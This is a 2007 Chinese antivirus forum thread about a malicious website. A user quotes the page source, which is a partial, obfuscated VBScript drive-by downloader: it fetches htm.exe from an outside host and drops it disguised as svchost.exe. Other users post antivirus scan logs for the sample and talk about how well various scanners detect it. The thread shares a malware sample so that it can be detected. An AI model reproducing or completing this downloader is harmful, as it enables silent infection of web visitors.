转剑盟一个毒网

显示全部楼层 · 发表于 2007-3-27 12:56:54

hxxp://www.5dtravel.cn/index.asp

显示全部楼层 · 发表于 2007-3-27 13:35:44

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII" />
<title>6!6!CbI1</title>
</head><body>
<html>
<script language="VBScript">
on error resume next
tc = "htp://qq.ee28.cn/htm/htm.exe"
fname1="svchost.exe"
fname2="svchost.vbs"
Set df = document.createElement("o"&"b"&"j"&"e"&"c"&"t")
df.setAttribute "c"&"l"&"a"&"s"&"s"&"i"&"d", "c"&"l"&"s"&"id:"&"B"&"D"&"96"&"C5"&"56"&"-65"&"A3"&"-11"&"D0"&"-98"&"3A"&"-00"&"C04"&"
………………
………………
………………
………………

复制代码

样本地址就很清楚了.

[ 本帖最后由 icka 于 2007-3-27 13:44 编辑 ]

显示全部楼层 · 发表于 2007-3-27 16:36:54

帮忙上传

显示全部楼层 · 发表于 2007-3-27 16:42:46

Scan performed at: 2007-3-27 16:43:03
Scanning Log
NOD32 version 2146 (20070327) NT
Command line: C:\Documents and Settings\EQ2\桌面\htm.zip
Operating memory - is OK

Date: 27.3.2007 Time: 16:43:07
Anti-Stealth technology is enabled.
Scanned disks, folders and files: C:\Documents and Settings\EQ2\桌面\htm.zip
C:\Documents and Settings\EQ2\桌面\htm.zip ?ZIP ?hh/htm.exe - probably unknown NewHeur_PE virus [7]
Number of scanned files: 2
Number of threats found: 1
Number of files cleaned: 1
Time of completion: 16:43:07 Total scanning time: 0 sec (00:00:00)

Notes:
[7] File is probably infected with an unknown virus.

显示全部楼层 · 发表于 2007-3-27 16:44:56

過了VBA32
C:\Documents and Settings\tomcheung\Desktop\htm.zip : ok

显示全部楼层 · 发表于 2007-3-27 16:46:00

LS的用vba32？？？最新版本扫描速度和资源占用如何？？

显示全部楼层 · 发表于 2007-3-27 16:54:22

和以住的也是差不多
速度快了一點點

显示全部楼层 · 发表于 2007-3-27 16:55:32

vba32怎么还是没有什么改进。。。蜘蛛的beta都已经改变了不少。。。希望vba32快点成长

显示全部楼层 · 发表于 2007-3-27 17:49:28

卡巴不报警...

显示全部楼层 · 发表于 2007-3-27 18:24:26

看来和 http://bbs.kafan.cn/viewthread.php?tid=66415&extra=page%3D1 一样

转剑盟一个毒网

本帖子中包含更多资源